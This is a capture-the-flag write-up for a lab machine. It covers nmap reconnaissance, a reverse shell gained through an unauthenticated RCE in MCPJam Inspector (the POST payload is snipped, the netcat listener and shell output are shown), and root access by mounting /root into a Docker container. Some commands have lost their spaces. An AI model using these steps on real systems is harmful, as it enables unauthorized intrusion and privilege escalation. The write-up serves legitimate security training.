A Linux machine hosting several internal services across subdomains — a vulnerable management tool hands over an initial foothold, and a misconfigured group permission opens the door to a straightforward Docker escape.
$ ip=10.129.13.220; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr' '',' | sed s/,$//); nmap -p$ports -sC -sV $ip Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-22 02:49 -0400 Nmap scan report for 10.129.13.220 Host is up (0.18s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 8c:45:12:36:03:61:de:0f:0b:2b:c3:9b:2a:92:59:a1 (ECDSA) |_ 256 d2:3c:bf:ed:55:4a:52:13:b5:34:d2:fb:8f:e4:93:bd (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-server-header: nginx/1.24.0 (Ubuntu) |_http-title: Did not follow redirect to https://kobold.htb/ 443/tcp open ssl/http nginx 1.24.0 (Ubuntu) |_http-title: Did not follow redirect to https://kobold.htb/ |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=kobold.htb | Subject Alternative Name: DNS:kobold.htb, DNS:*.kobold.htb | Not valid before: 2026-03-15T15:08:55 |_Not valid after: 2125-02-19T15:08:55 | tls-alpn: | http/1.1 | http/1.0 |_ http/0.9 |_http-server-header: nginx/1.24.0 (Ubuntu) 3552/tcp open http Golang net/http server |_http-title: Site doesn't have a title (text/html; charset=utf-8). | fingerprint-strings: | GenericLines: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest, HTTPOptions: | HTTP/1.0 200 OK | Accept-Ranges: bytes | Cache-Control: no-cache, no-store, must-revalidate | Content-Length: 2081 | Content-Type: text/html; charset=utf-8 | Expires: 0 | Pragma: no-cache | Date: Sun, 22 Mar 2026 06:48:33 GMT | <!doctype html> | <html lang="%lang%"> | <head> | <meta charset="utf-8" /> | <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" /> | <meta http-equiv="Pragma" content="no-cache" /> | <meta http-equiv="Expires" content="0" /> | <link rel="icon" href="/api/app-images/favicon" /> | <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, viewport-fit=cover" /> | <link rel="manifest" href="/app.webmanifest" /> | <meta name="theme-color" content="oklch(1 0 0)" media="(prefers-color-scheme: light)" /> | <meta name="theme-color" content="oklch(0.141 0.005 285.823)" media="(prefers-color-scheme: dark)" /> |_ <link rel="modu Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 50.10 seconds
Three ports of interest:
80/tcp and 443/tcp — nginx redirecting to kobold.htb; the SSL certificate covers a wildcard *.kobold.htb, signalling multiple subdomains
3552/tcp — a Go HTTP server running Arcane v1.13.0, a Docker management application
Foothold
Hosts File
1
$ echo'10.129.13.220 kobold.htb' | sudotee -a /etc/hosts
Subdomain Enumeration
The wildcard certificate makes subdomain enumeration worthwhile:
MCPJam Inspector v1.4.2 is affected by CVE-2026-23744, a critical unauthenticated RCE vulnerability. The /api/mcp/connect endpoint accepts a JSON payload that specifies a server command to execute, with no authentication required.
Start a listener:
1
$ nc -lnvp 4444
Send the crafted POST request to trigger a reverse shell:
<--SNIP--> connect to [10.10.16.27] from (UNKNOWN) [10.129.13.220] 57902 bash: cannot set terminal process group (1541): Inappropriate ioctl for device bash: no job control in this shell ben@kobold:/usr/local/lib/node_modules/@mcpjam/inspector$
The user flag is accessible from here.
Privilege Escalation
Docker Escape via operator Group
Check group membership:
1 2
ben@kobold:/privatebin-data$ id uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)
ben is a member of the operator group. Using newgrp docker activates the docker group in the current session, granting access to the Docker socket:
1 2 3 4
ben@kobold:/privatebin-data$ newgrp docker
ben@kobold:/privatebin-data$ id uid=1001(ben) gid=111(docker) groups=111(docker),37(operator),1001(ben)
Confirm Docker access:
1 2 3
ben@kobold:/privatebin-data$ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 4c49dd7bb727 privatebin/nginx-fpm-alpine:2.0.2 "/etc/init.d/rc.local" 4 weeks ago Up 2 hours 127.0.0.1:8080->8080/tcp bin
Spin up a new container using the existing privatebin image and mount the host’s /root directory into it. Since Docker runs as root on the host, any mounted path is accessible inside the container regardless of host filesystem permissions:
1
ben@kobold:/privatebin-data$ docker run -v /root:/host-root --name mycontainer -d privatebin/nginx-fpm-alpine:2.0.2